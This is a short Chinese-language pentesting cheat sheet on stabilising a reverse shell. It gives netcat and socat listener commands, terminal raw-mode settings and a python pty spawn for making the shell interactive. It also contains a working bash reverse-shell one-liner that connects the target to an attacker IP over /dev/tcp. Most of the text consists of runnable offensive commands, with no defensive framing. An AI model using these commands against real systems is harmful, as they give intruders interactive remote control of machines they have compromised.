半交互式:
nc监听普通反弹后,在目标机输入python -c 'import pty; pty.spawn("/bin/bash")'
可以升级为半交互shell
全交互:
监听方法1.socat交互监听:
socat file:tty
,raw,echo=0 tcp-listen:4444
监听方法2. netcat监听
stty -a //获取当前终端参数备用
stty raw //设置当前终端为raw模式,部分发行版还需要加上-echo关闭终端回显
nc -vlp 1234 //监听端口,此时当前终端无回显,盲打或将上述命令做成shell脚本
#目标
bash -i >& /dev/tcp/10.0.10.1/4444 0>&1 //正常反弹shell,其他方式也行
第一种:
python -c 'import pty; pty.spawn("/bin/bash")' //spawn pty
resize //根据当前终端尺寸重新设置COLUMNS和LINES环境变量
//如果没有resize命令,手动根据前面stty -a结果中的rows和columns值设置,如
export COLUMNS=204 LINES=51